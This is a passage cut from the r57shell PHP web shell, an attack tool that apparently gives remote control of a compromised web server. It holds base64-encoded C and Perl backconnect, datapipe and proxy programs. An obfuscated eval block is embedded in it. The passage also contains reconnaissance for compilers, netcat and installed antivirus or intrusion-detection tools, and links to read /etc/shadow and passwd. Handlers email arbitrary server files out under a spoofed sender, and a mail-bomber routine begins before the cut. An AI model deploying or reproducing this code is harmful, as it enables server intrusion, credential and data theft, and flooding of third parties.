+29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn +luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT +0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE +UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09 +DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS +AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd +GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk +cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1 +BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi +AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK +TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg +eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA +oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG +VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI +CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt +b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN +0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG +9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ +CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g +aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw +gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG +9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0="; +$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3M +CU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3 +dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU +3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRC +VhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQ +iVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1 +byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiV +hQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOC +U3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9re +nMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZG +UoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuI +iciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + }echo $head;eval(gzinflate(str_rot13(base64_decode('http://xeyal.net')))); +echo '</head>'; +echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]"; +if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";} +if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";} +echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]"; +echo "<br>"; +echo ws(2)."PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); +echo "</b>".ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } +echo "</b>".ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b>".ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b>".ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b><br>".ws(2); + +echo "Safe_mode: <b>"; +echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); +echo "</b>".ws(2); +echo "Open_basedir: <b>"; +if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>NONE</font></b>";} +echo ws(2)."Safe_mode_exec_dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_mode_include_dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>";$df='ini_get disable!'; +if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} + +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>"; + +$ust=''; +if($unix && !$safe_mode){ +if (which('gcc')) {$ust.="gcc,";} +if (which('cc')) {$ust.="cc,";} +if (which('ld')) {$ust.="ld,";} +if (which('php')) {$ust.="php,";} +if (which('perl')) {$ust.="perl,";} +if (which('python')) {$ust.="python,";} +if (which('ruby')) {$ust.="ruby,";} +if (which('make')) {$ust.="make,";} +if (which('tar')) {$ust.="tar,";} +if (which('nc')) {$ust.="netcat,";} +if (which('locate')) {$ust.="locate,";} +if (which('suidperl')) {$ust.="suidperl,";} +} +if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";} +#if (which('')) {$ust.=",";} +if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";} + +$ust=''; +if($unix && !$safe_mode){ +if (which('kav')) {$ust.="kav,";} +if (which('nod32')) {$ust.="nod32,";} +if (which('bdcored')) {$ust.="bitdefender,";} +if (which('uvscan')) {$ust.="mcafee,";} +if (which('sav')) {$ust.="symantec,";} +#if (which('')) {$ust.=",";} +if (which('drwebd')) {$ust="drwebd,";} +if (which('clamd')) {$ust.="clamd,";} +if (which('rkhunter')) {$ust.="rkhunter,";} +if (which('chkrootkit')) {$ust.="chkrootkit,";} +if (which('iptables')) {$ust.="iptables,";} +if (which('ipfw')) {$ust.="ipfw,";} +if (which('tripwire')) {$ust.="tripwire,";} +if (which('shieldcc')) {$ust.="stackshield,";} +if (which('portsentry')) {$ust.="portsentry,";} +if (which('snort')) {$ust.="snort,";} +if (which('ossec')) {$ust.="ossec,";} +if (which('lidsadm')) {$ust.="lidsadm,";} +if (which('tcplodg')) {$ust.="tcplodg,";} +if (which('tripwire')) {$ust.="tripwire,";} +if (which('sxid')) {$ust.="sxid,";} +if (which('logcheck')) {$ust.="logcheck,";} +if (which('logwatch')) {$ust.="logwatch,";} +#if (which('')) {$ust.=",";} +} +if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";} +if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";} + + +echo "<br>".ws(2)."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if(!$unix) { + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb; +}else{ + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb; +} +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb; + +if($unix && !$safe_mode) +{ + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb; + + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb; +} + +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; + +if($unix){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; + +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if($file=@fopen($_POST['loc_file'],"r")){ $filedump = @fread($file,@filesize($_POST['loc_file'])); @fclose($file); } + else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + if(isset($_POST['cmd'])) + { + $filename = @basename($_POST['loc_file']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size'])) + { + for($h=1;$h<=$_POST['mail_flood'];$h++){ + $res = 